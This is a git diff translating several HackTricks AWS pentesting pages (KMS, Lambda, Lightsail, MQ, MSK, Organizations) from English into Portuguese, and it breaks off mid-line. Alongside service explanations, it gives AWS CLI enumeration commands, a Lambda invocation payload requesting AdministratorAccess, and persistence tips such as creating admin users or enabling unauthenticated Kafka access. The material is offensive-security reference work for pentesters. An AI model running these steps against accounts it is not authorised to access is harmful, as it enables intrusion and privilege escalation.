permitida** (`"arn:aws:iam::111122223333:root"`), um **principal** da conta **ainda precisará de permissões IAM** para usar a chave KMS. No entanto, se o **ARN** de um papel, por exemplo, for **especificamente permitido** na **Política da Chave**, esse papel **não precisa de permissões IAM**.
-Policy Details +Detalhes da Política -Properties of a policy: +Propriedades de uma política: -- JSON based document -- Resource --> Affected resources (can be "\*") -- Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (permissions) -- Effect --> Allow/Deny -- Principal --> arn affected -- Conditions (optional) --> Condition to give the permissions +- Documento baseado em JSON +- Recurso --> Recursos afetados (pode ser "\*") +- Ação --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (permissões) +- Efeito --> Allow/Deny +- Principal --> arn afetado +- Condições (opcional) --> Condição para conceder as permissões -Grants: +Concessões: -- Allow to delegate your permissions to another AWS principal within your AWS account. You need to create them using the AWS KMS APIs. It can be indicated the CMK identifier, the grantee principal and the required level of opoeration (Decrypt, Encrypt, GenerateDataKey...) -- After the grant is created a GrantToken and a GratID are issued +- Permite delegar suas permissões a outro principal AWS dentro de sua conta AWS. Você precisa criá-las usando as APIs do AWS KMS. Pode ser indicado o identificador CMK, o principal beneficiário e o nível de operação necessário (Decrypt, Encrypt, GenerateDataKey...) +- Após a concessão ser criada, um GrantToken e um GrantID são emitidos -**Access**: +**Acesso**: -- Via **key policy** -- If this exist, this takes **precedent** over the IAM policy -- Via **IAM policy** -- Via **grants** +- Via **política de chave** -- Se isso existir, isso tem **precedência** sobre a política IAM +- Via **política IAM** +- Via **concessões**
-### Key Administrators +### Administradores de Chave -Key administrator by default: +Administrador de chave por padrão: -- Have access to manage KMS but not to encrypt or decrypt data -- Only IAM users and roles can be added to Key Administrators list (not groups) -- If external CMK is used, Key Administrators have the permission to import key material +- Tem acesso para gerenciar KMS, mas não para criptografar ou descriptografar dados +- Apenas usuários e papéis IAM podem ser adicionados à lista de Administradores de Chave (não grupos) +- Se um CMK externo for usado, os Administradores de Chave têm a permissão para importar material de chave -### Rotation of CMKs +### Rotação de CMKs -- The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases. -- **KMS rotate customer keys every 365 days** (or you can perform the process manually whenever you want) and **keys managed by AWS every 3 years** and this time it cannot be changed. -- **Older keys are retained** to decrypt data that was encrypted prior to the rotation -- In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**. -- If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled. +- Quanto mais tempo a mesma chave permanecer em uso, mais dados serão criptografados com essa chave, e se essa chave for comprometida, então a área de impacto dos dados estará em risco. Além disso, quanto mais tempo a chave estiver ativa, maior a probabilidade de ser comprometida. +- **KMS rotaciona chaves de clientes a cada 365 dias** (ou você pode realizar o processo manualmente sempre que quiser) e **chaves gerenciadas pela AWS a cada 3 anos** e esse tempo não pode ser alterado. +- **Chaves mais antigas são retidas** para descriptografar dados que foram criptografados antes da rotação +- Em um comprometimento, rotacionar a chave não removerá a ameaça, pois será possível descriptografar todos os dados criptografados com a chave comprometida. No entanto, os **novos dados serão criptografados com a nova chave**. +- Se o **CMK** estiver em estado de **desativado** ou **pendente de** **exclusão**, o KMS **não realizará uma rotação de chave** até que o CMK seja reativado ou a exclusão seja cancelada. -#### Manual rotation +#### Rotação manual -- A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID. -- To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to. -- You need to **keep old keys to decrypt old files** encrypted with it. +- Um **novo CMK precisa ser criado**, então, um novo CMK-ID é criado, portanto, você precisará **atualizar** qualquer **aplicação** para **referenciar** o novo CMK-ID. +- Para facilitar esse processo, você pode **usar aliases para se referir a um key-id** e então apenas atualizar a chave à qual o alias está se referindo. +- Você precisa **manter chaves antigas para descriptografar arquivos antigos** criptografados com elas. -You can import keys from your on-premises key infrastructure . +Você pode importar chaves de sua infraestrutura de chaves local. -### Other relevant KMS information +### Outras informações relevantes do KMS -KMS is priced per number of encryption/decryption requests received from all services per month. +O KMS é cobrado por número de solicitações de criptografia/descriptografia recebidas de todos os serviços por mês. -KMS has full audit and compliance **integration with CloudTrail**; this is where you can audit all changes performed on KMS. +O KMS possui total auditoria e conformidade **integração com o CloudTrail**; é aqui que você pode auditar todas as alterações realizadas no KMS. -With KMS policy you can do the following: +Com a política do KMS, você pode fazer o seguinte: -- Limit who can create data keys and which services have access to use these keys -- Limit systems access to encrypt only, decrypt only or both -- Define to enable systems to access keys across regions (although it is not recommended as a failure in the region hosting KMS will affect availability of systems in other regions). +- Limitar quem pode criar chaves de dados e quais serviços têm acesso a usar essas chaves +- Limitar o acesso dos sistemas para criptografar apenas, descriptografar apenas ou ambos +- Definir para permitir que os sistemas acessem chaves em diferentes regiões (embora não seja recomendado, pois uma falha na região que hospeda o KMS afetará a disponibilidade dos sistemas em outras regiões). -You cannot synchronize or move/copy keys across regions; you can only define rules to allow access across region. - -### Enumeration +Você não pode sincronizar ou mover/copiar chaves entre regiões; você só pode definir regras para permitir acesso entre regiões. +### Enumeração ```bash aws kms list-keys aws kms list-key-policies --key-id @@ -132,31 +129,26 @@ aws kms describe-key --key-id aws kms get-key-policy --key-id --policy-name # Default policy name is "default" aws kms describe-custom-key-stores ``` - ### Privesc {{#ref}} ../aws-privilege-escalation/aws-kms-privesc.md {{#endref}} -### Post Exploitation +### Pós Exploração {{#ref}} ../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} -### Persistence +### Persistência {{#ref}} ../aws-persistence/aws-kms-persistence.md {{#endref}} -## References +## Referências - [https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html](https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 03fa1aac8..8e4d64877 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,59 +4,58 @@ ## Lambda -Amazon Web Services (AWS) Lambda is described as a **compute service** that enables the execution of code without the necessity for server provision or management. It is characterized by its ability to **automatically handle resource allocation** needed for code execution, ensuring features like high availability, scalability, and security. A significant aspect of Lambda is its pricing model, where **charges are based solely on the compute time utilized**, eliminating the need for initial investments or long-term obligations. +Amazon Web Services (AWS) Lambda é descrito como um **serviço de computação** que permite a execução de código sem a necessidade de provisionamento ou gerenciamento de servidores. É caracterizado pela sua capacidade de **gerenciar automaticamente a alocação de recursos** necessários para a execução do código, garantindo recursos como alta disponibilidade, escalabilidade e segurança. Um aspecto significativo do Lambda é seu modelo de preços, onde **as cobranças são baseadas exclusivamente no tempo de computação utilizado**, eliminando a necessidade de investimentos iniciais ou obrigações de longo prazo. -To call a lambda it's possible to call it as **frequently as you wants** (with Cloudwatch), **expose** an **URL** endpoint and call it, call it via **API Gateway** or even based on **events** such as **changes** to data in a **S3** bucket or updates to a **DynamoDB** table. +Para chamar um lambda, é possível chamá-lo **tão frequentemente quanto você quiser** (com Cloudwatch), **expor** um **endpoint** de **URL** e chamá-lo, chamá-lo via **API Gateway** ou até mesmo com base em **eventos** como **mudanças** nos dados em um **bucket** **S3** ou atualizações em uma tabela **DynamoDB**. -The **code** of a lambda is stored in **`/var/task`**. +O **código** de um lambda é armazenado em **`/var/task`**. -### Lambda Aliases Weights +### Pesos de Aliases do Lambda -A Lambda can have **several versions**.\ -And it can have **more than 1** version exposed via **aliases**. The **weights** of **each** of the **versions** exposed inside and alias will decide **which alias receive the invocation** (it can be 90%-10% for example).\ -If the code of **one** of the aliases is **vulnerable** you can send **requests until the vulnerable** versions receives the exploit. +Um Lambda pode ter **várias versões**.\ +E pode ter **mais de 1** versão exposta via **aliases**. Os **pesos** de **cada** uma das **versões** expostas dentro de um alias decidirão **qual alias recebe a invocação** (pode ser 90%-10% por exemplo).\ +Se o código de **um** dos aliases for **vulnerável**, você pode enviar **requisições até que a versão vulnerável receba o exploit**. ![](<../../../images/image (223).png>) -### Resource Policies +### Políticas de Recursos -Lambda resource policies allow to **give access to other services/accounts to invoke** the lambda for example.\ -For example this is the policy to allow **anyone to access a lambda exposed via URL**: +As políticas de recursos do Lambda permitem **dar acesso a outros serviços/contas para invocar** o lambda, por exemplo.\ +Por exemplo, esta é a política para permitir **que qualquer um acesse um lambda exposto via URL**:
-Or this to allow an API Gateway to invoke it: +Ou esta para permitir que um API Gateway o invoque:
-### Lambda Database Proxies +### Proxies de Banco de Dados do Lambda -When there are **hundreds** of **concurrent lambda requests**, if each of them need to **connect and close a connection to a database**, it's just not going to work (lambdas are stateless, cannot maintain connections open).\ -Then, if your **Lambda functions interact with RDS Proxy instead** of your database instance. It handles the connection pooling necessary for scaling many simultaneous connections created by concurrent Lambda functions. This allows your Lambda applications to **reuse existing connections**, rather than creating new connections for every function invocation. +Quando há **centenas** de **requisições lambda concorrentes**, se cada uma delas precisar **conectar e fechar uma conexão com um banco de dados**, simplesmente não vai funcionar (lambdas são sem estado, não podem manter conexões abertas).\ +Então, se suas **funções Lambda interagem com o RDS Proxy em vez** de sua instância de banco de dados. Ele gerencia o pooling de conexões necessário para escalar muitas conexões simultâneas criadas por funções Lambda concorrentes. Isso permite que suas aplicações Lambda **reutilizem conexões existentes**, em vez de criar novas conexões para cada invocação de função. -### Lambda EFS Filesystems +### Sistemas de Arquivos EFS do Lambda -To preserve and even share data **Lambdas can access EFS and mount them**, so Lambda will be able to read and write from it. +Para preservar e até compartilhar dados, **Lambdas podem acessar EFS e montá-los**, para que o Lambda possa ler e escrever a partir dele. -### Lambda Layers +### Camadas do Lambda -A Lambda _layer_ is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files. +Uma camada do Lambda é um arquivo .zip que **pode conter código adicional** ou outro conteúdo. Uma camada pode conter bibliotecas, um [runtime personalizado](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dados ou arquivos de configuração. -It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment. +É possível incluir até **cinco camadas por função**. Quando você inclui uma camada em uma função, o **conteúdo é extraído para o diretório `/opt`** no ambiente de execução. -By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version. +Por **padrão**, as **camadas** que você cria são **privadas** à sua conta AWS. Você pode optar por **compartilhar** uma camada com outras contas ou **tornar** a camada **pública**. Se suas funções consumirem uma camada que uma conta diferente publicou, suas funções podem **continuar a usar a versão da camada após ela ter sido excluída, ou após sua permissão para acessar a camada ser revogada**. No entanto, você não pode criar uma nova função ou atualizar funções usando uma versão de camada excluída. -Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image. +Funções implantadas como uma imagem de contêiner não usam camadas. Em vez disso, você empacota seu runtime preferido, bibliotecas e outras dependências na imagem do contêiner ao construir a imagem. -### Lambda Extensions +### Extensões do Lambda -Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**. +As extensões do Lambda aprimoram funções integrando-se a várias **ferramentas de monitoramento, observabilidade, segurança e governança**. Essas extensões, adicionadas via [.zip archives usando camadas do Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ou incluídas em [implantações de imagens de contêiner](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operam em dois modos: **interno** e **externo**. -- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**. -- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**. - -### Enumeration +- **Extensões internas** se fundem com o processo de runtime, manipulando seu início usando **variáveis de ambiente específicas de linguagem** e **scripts wrapper**. Essa personalização se aplica a uma variedade de runtimes, incluindo **Java Correto 8 e 11, Node.js 10 e 12, e .NET Core 3.1**. +- **Extensões externas** são executadas como processos separados, mantendo a operação alinhada com o ciclo de vida da função Lambda. Elas são compatíveis com vários runtimes como **Node.js 10 e 12, Python 3.7 e 3.8, Ruby 2.5 e 2.7, Java Corretto 8 e 11, .NET Core 3.1**, e **runtimes personalizados**. +### Enumeração ```bash aws lambda get-account-settings @@ -93,11 +92,9 @@ aws lambda list-event-source-mappings aws lambda list-code-signing-configs aws lambda list-functions-by-code-signing-config --code-signing-config-arn ``` - -### Invoke a lambda +### Invocar uma lambda #### Manual - ```bash # Invoke function aws lambda invoke --function-name FUNCTION_NAME /tmp/out @@ -106,83 +103,70 @@ aws lambda invoke --function-name FUNCTION_NAME /tmp/out ## user_name = event['user_name'] aws lambda invoke --function-name --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess], "user_name": "sdf"}' out.txt ``` - -#### Via exposed URL - +#### Via URL exposta ```bash aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL ``` +#### Chamar função Lambda via URL -#### Call Lambda function via URL - -Now it's time to find out possible lambda functions to execute: - +Agora é hora de descobrir possíveis funções lambda para executar: ``` aws --region us-west-2 --profile level6 lambda list-functions ``` - ![](<../../../images/image (262).png>) -A lambda function called "Level6" is available. Lets find out how to call it: - +Uma função lambda chamada "Level6" está disponível. Vamos descobrir como chamá-la: ```bash aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` - ![](<../../../images/image (102).png>) -Now, that you know the name and the ID you can get the Name: - +Agora que você sabe o nome e o ID, você pode obter o Nome: ```bash aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75" ``` - ![](<../../../images/image (237).png>) -And finally call the function accessing (notice that the ID, Name and function-name appears in the URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) +E finalmente chame a função acessando (note que o ID, Nome e nome da função aparecem na URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) `URL:`**`https://.execute-api..amazonaws.com//`** -#### Other Triggers +#### Outros Gatilhos -There are a lot of other sources that can trigger a lambda +Existem muitas outras fontes que podem acionar um lambda
### Privesc -In the following page you can check how to **abuse Lambda permissions to escalate privileges**: +Na página a seguir, você pode verificar como **abusar das permissões do Lambda para escalar privilégios**: {{#ref}} ../aws-privilege-escalation/aws-lambda-privesc.md {{#endref}} -### Unauthenticated Access +### Acesso Não Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md {{#endref}} -### Post Exploitation +### Pós Exploração {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/ {{#endref}} -### Persistence +### Persistência {{#ref}} ../aws-persistence/aws-lambda-persistence/ {{#endref}} -## References +## Referências - [https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer) - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 9f5ccb1ab..c23ea2376 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,11 +4,10 @@ ## AWS - Lightsail -Amazon Lightsail provides an **easy**, lightweight way for new cloud users to take advantage of AWS’ cloud computing services. It allows you to deploy common and custom web services in seconds via **VMs** (**EC2**) and **containers**.\ -It's a **minimal EC2 + Route53 + ECS**. +Amazon Lightsail oferece uma maneira **fácil** e leve para novos usuários de nuvem aproveitarem os serviços de computação em nuvem da AWS. Ele permite que você implante serviços web comuns e personalizados em segundos por meio de **VMs** (**EC2**) e **containers**.\ +É um **EC2 mínimo + Route53 + ECS**. ### Enumeration - ```bash # Instances aws lightsail get-instances #Get all @@ -29,14 +28,13 @@ aws lightsail get-load-balancers aws lightsail get-static-ips aws lightsail get-key-pairs ``` +### Analisar Snapshots -### Analyse Snapshots +É possível gerar **snapshots de instância e de banco de dados relacional a partir do lightsail**. Portanto, você pode verificar esses da mesma forma que pode verificar [**snapshots do EC2**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) e [**snapshots do RDS**](aws-relational-database-rds-enum.md#enumeration). -It's possible to generate **instance and relational database snapshots from lightsail**. Therefore you can check those the same way you can check [**EC2 snapshots**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) and [**RDS snapshots**](aws-relational-database-rds-enum.md#enumeration). +### Metadados -### Metadata - -**Metadata endpoint is accessible from lightsail**, but the machines are running in an **AWS account managed by AWS** so you don't control **what permissions are being granted**. However, if you find a way to exploit those you would be directly exploiting AWS. +**O endpoint de metadados é acessível a partir do lightsail**, mas as máquinas estão rodando em uma **conta AWS gerenciada pela AWS**, então você não controla **quais permissões estão sendo concedidas**. No entanto, se você encontrar uma maneira de explorar isso, você estaria explorando diretamente a AWS. ### Privesc @@ -44,20 +42,16 @@ It's possible to generate **instance and relational database snapshots from ligh ../aws-privilege-escalation/aws-lightsail-privesc.md {{#endref}} -### Post Exploitation +### Pós Exploração {{#ref}} ../aws-post-exploitation/aws-lightsail-post-exploitation.md {{#endref}} -### Persistence +### Persistência {{#ref}} ../aws-persistence/aws-lightsail-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 8504db545..ab00ea115 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -4,28 +4,27 @@ ## Amazon MQ -### Introduction to Message Brokers +### Introdução aos Corretores de Mensagens -**Message brokers** serve as intermediaries, facilitating communication between different software systems, which may be built on varied platforms and programmed in different languages. **Amazon MQ** simplifies the deployment, operation, and maintenance of message brokers on AWS. It provides managed services for **Apache ActiveMQ** and **RabbitMQ**, ensuring seamless provisioning and automatic software version updates. +**Corretores de mensagens** servem como intermediários, facilitando a comunicação entre diferentes sistemas de software, que podem ser construídos em plataformas variadas e programados em diferentes linguagens. **Amazon MQ** simplifica a implantação, operação e manutenção de corretores de mensagens na AWS. Ele fornece serviços gerenciados para **Apache ActiveMQ** e **RabbitMQ**, garantindo provisionamento contínuo e atualizações automáticas de versão de software. ### AWS - RabbitMQ -RabbitMQ is a prominent **message-queueing software**, also known as a _message broker_ or _queue manager_. It's fundamentally a system where queues are configured. Applications interface with these queues to **send and receive messages**. Messages in this context can carry a variety of information, ranging from commands to initiate processes on other applications (potentially on different servers) to simple text messages. The messages are held by the queue-manager software until they are retrieved and processed by a receiving application. AWS provides an easy-to-use solution for hosting and managing RabbitMQ servers. +RabbitMQ é um proeminente **software de enfileiramento de mensagens**, também conhecido como _corretor de mensagens_ ou _gerenciador de filas_. É fundamentalmente um sistema onde filas são configuradas. Aplicações interagem com essas filas para **enviar e receber mensagens**. As mensagens, neste contexto, podem carregar uma variedade de informações, que vão desde comandos para iniciar processos em outras aplicações (potencialmente em servidores diferentes) até mensagens de texto simples. As mensagens são mantidas pelo software gerenciador de filas até serem recuperadas e processadas por uma aplicação receptora. A AWS fornece uma solução fácil de usar para hospedar e gerenciar servidores RabbitMQ. ### AWS - ActiveMQ -Apache ActiveMQ® is a leading open-source, Java-based **message broker** known for its versatility. It supports multiple industry-standard protocols, offering extensive client compatibility across a wide array of languages and platforms. Users can: +Apache ActiveMQ® é um corretor de mensagens de código aberto, baseado em Java, conhecido por sua versatilidade. Ele suporta múltiplos protocolos padrão da indústria, oferecendo ampla compatibilidade de clientes em uma ampla gama de linguagens e plataformas. Os usuários podem: -- Connect with clients written in JavaScript, C, C++, Python, .Net, and more. -- Leverage the **AMQP** protocol to integrate applications from different platforms. -- Use **STOMP** over websockets for web application message exchanges. -- Manage IoT devices with **MQTT**. -- Maintain existing **JMS** infrastructure and extend its capabilities. +- Conectar-se com clientes escritos em JavaScript, C, C++, Python, .Net e mais. +- Aproveitar o protocolo **AMQP** para integrar aplicações de diferentes plataformas. +- Usar **STOMP** sobre websockets para trocas de mensagens em aplicações web. +- Gerenciar dispositivos IoT com **MQTT**. +- Manter a infraestrutura **JMS** existente e expandir suas capacidades. -ActiveMQ's robustness and flexibility make it suitable for a multitude of messaging requirements. - -## Enumeration +A robustez e flexibilidade do ActiveMQ o tornam adequado para uma multitude de requisitos de mensagens. +## Enumeração ```bash # List brokers aws mq list-brokers @@ -48,9 +47,8 @@ aws mq list-configurations # Creacte Active MQ user aws mq create-user --broker-id --password --username --console-access ``` - > [!WARNING] -> TODO: Indicate how to enumerate RabbitMQ and ActiveMQ internally and how to listen in all queues and send data (send PR if you know how to do this) +> TODO: Indique como enumerar RabbitMQ e ActiveMQ internamente e como escutar em todas as filas e enviar dados (envie PR se você souber como fazer isso) ## Privesc @@ -58,23 +56,19 @@ aws mq create-user --broker-id --password --username --c ../aws-privilege-escalation/aws-mq-privesc.md {{#endref}} -## Unauthenticated Access +## Acesso Não Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md {{#endref}} -## Persistence +## Persistência -If you know the credentials to access the RabbitMQ web console, you can create a new user qith admin privileges. +Se você souber as credenciais para acessar o console web do RabbitMQ, pode criar um novo usuário com privilégios de administrador. -## References +## Referências - [https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html](https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html) - [https://activemq.apache.org/](https://activemq.apache.org/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index 42c7ca640..72c1e2952 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -4,22 +4,21 @@ ## Amazon MSK -**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** is a service that is fully managed, facilitating the development and execution of applications processing streaming data through **Apache Kafka**. Control-plane operations, including creation, update, and deletion of **clusters**, are offered by Amazon MSK. The service permits the utilization of Apache Kafka **data-plane operations**, encompassing data production and consumption. It operates on **open-source versions of Apache Kafka**, ensuring compatibility with existing applications, tooling, and plugins from both partners and the **Apache Kafka community**, eliminating the need for alterations in the application code. +**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** é um serviço totalmente gerenciado, facilitando o desenvolvimento e a execução de aplicações que processam dados de streaming através do **Apache Kafka**. Operações de controle, incluindo criação, atualização e exclusão de **clusters**, são oferecidas pelo Amazon MSK. O serviço permite a utilização de operações de **data-plane** do Apache Kafka, abrangendo produção e consumo de dados. Ele opera em **versões de código aberto do Apache Kafka**, garantindo compatibilidade com aplicações, ferramentas e plugins existentes, tanto de parceiros quanto da **comunidade Apache Kafka**, eliminando a necessidade de alterações no código da aplicação. -In terms of reliability, Amazon MSK is designed to **automatically detect and recover from prevalent cluster failure scenarios**, ensuring that producer and consumer applications persist in their data writing and reading activities with minimal disruption. Moreover, it aims to optimize data replication processes by attempting to **reuse the storage of replaced brokers**, thereby minimizing the volume of data that needs to be replicated by Apache Kafka. +Em termos de confiabilidade, o Amazon MSK é projetado para **detectar e recuperar automaticamente de cenários comuns de falha de cluster**, garantindo que as aplicações produtoras e consumidoras continuem suas atividades de escrita e leitura de dados com mínima interrupção. Além disso, visa otimizar os processos de replicação de dados ao tentar **reutilizar o armazenamento de brokers substituídos**, minimizando assim o volume de dados que precisa ser replicado pelo Apache Kafka. -### **Types** +### **Tipos** -There are 2 types of Kafka clusters that AWS allows to create: Provisioned and Serverless. +Existem 2 tipos de clusters Kafka que a AWS permite criar: Provisionado e Serverless. -From the point of view of an attacker you need to know that: +Do ponto de vista de um atacante, você precisa saber que: -- **Serverless cannot be directly public** (it can only run in a VPN without any publicly exposed IP). However, **Provisioned** can be configured to get a **public IP** (by default it doesn't) and configure the **security group** to **expose** the relevant ports. -- **Serverless** **only support IAM** as authentication method. **Provisioned** support SASL/SCRAM (**password**) authentication, **IAM** authentication, AWS **Certificate** Manager (ACM) authentication and **Unauthenticated** access. - - Note that it's not possible to expose publicly a Provisioned Kafka if unauthenticated access is enabled - -### Enumeration +- **Serverless não pode ser publicamente acessível** (pode rodar apenas em uma VPN sem nenhum IP exposto publicamente). No entanto, **Provisionado** pode ser configurado para obter um **IP público** (por padrão, não obtém) e configurar o **grupo de segurança** para **expor** as portas relevantes. +- **Serverless** **suporta apenas IAM** como método de autenticação. **Provisionado** suporta autenticação SASL/SCRAM (**senha**), autenticação **IAM**, autenticação do AWS **Certificate** Manager (ACM) e acesso **não autenticado**. +- Observe que não é possível expor publicamente um Kafka Provisionado se o acesso não autenticado estiver habilitado. +### Enumeração ```bash #Get clusters aws kafka list-clusters @@ -43,9 +42,7 @@ aws kafka describe-configuration-revision --arn --revision ``` - -### Kafka IAM Access (in serverless) - +### Acesso IAM do Kafka (em serverless) ```bash # Guide from https://docs.aws.amazon.com/msk/latest/developerguide/create-serverless-cluster.html # Download Kafka @@ -75,29 +72,24 @@ kafka_2.12-2.8.1/bin/kafka-console-producer.sh --broker-list $BS --producer.conf # Read messages kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer.config client.properties --topic msk-serverless-tutorial --from-beginning ``` - ### Privesc {{#ref}} ../aws-privilege-escalation/aws-msk-privesc.md {{#endref}} -### Unauthenticated Access +### Acesso Não Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md {{#endref}} -### Persistence +### Persistência -If you are going to **have access to the VPC** where a Provisioned Kafka is, you could **enable unauthorised access**, if **SASL/SCRAM authentication**, **read** the password from the secret, give some **other controlled user IAM permissions** (if IAM or serverless used) or persist with **certificates**. +Se você **tiver acesso ao VPC** onde um Kafka Provisionado está, você poderia **habilitar acesso não autorizado**, se a **autenticação SASL/SCRAM**, **ler** a senha do segredo, dar algumas **outras permissões de usuário IAM controladas** (se IAM ou serverless usados) ou persistir com **certificados**. -## References +## Referências - [https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html](https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index df5a51a37..72f2d8626 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -2,23 +2,22 @@ {{#include ../../../banners/hacktricks-training.md}} -## Baisc Information +## Informações Básicas -AWS Organizations facilitates the creation of new AWS accounts without incurring additional costs. Resources can be allocated effortlessly, accounts can be efficiently grouped, and governance policies can be applied to individual accounts or groups, enhancing management and control within the organization. +AWS Organizations facilita a criação de novas contas AWS sem incorrer em custos adicionais. Os recursos podem ser alocados sem esforço, as contas podem ser agrupadas de forma eficiente e políticas de governança podem ser aplicadas a contas individuais ou grupos, melhorando a gestão e o controle dentro da organização. -Key Points: +Pontos Chave: -- **New Account Creation**: AWS Organizations allows the creation of new AWS accounts without extra charges. -- **Resource Allocation**: It simplifies the process of allocating resources across the accounts. -- **Account Grouping**: Accounts can be grouped together, making management more streamlined. -- **Governance Policies**: Policies can be applied to accounts or groups of accounts, ensuring compliance and governance across the organization. +- **Criação de Novas Contas**: AWS Organizations permite a criação de novas contas AWS sem cobranças extras. +- **Alocação de Recursos**: Simplifica o processo de alocação de recursos entre as contas. +- **Agrupamento de Contas**: As contas podem ser agrupadas, tornando a gestão mais eficiente. +- **Políticas de Governança**: Políticas podem ser aplicadas a contas ou grupos de contas, garantindo conformidade e governança em toda a organização. -You can find more information in: +Você pode encontrar mais informações em: {{#ref}} ../aws-basic-information/ {{#endref}} - ```bash # Get Org aws organizations describe-organization @@ -39,13 +38,8 @@ aws organizations list-accounts-for-parent --parent-id ou-n8s9-8nzv3a5y ## You need the permission iam:GetAccountSummary aws iam get-account-summary ``` - -## References +## Referências - https://aws.amazon.com/organizations/ {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index 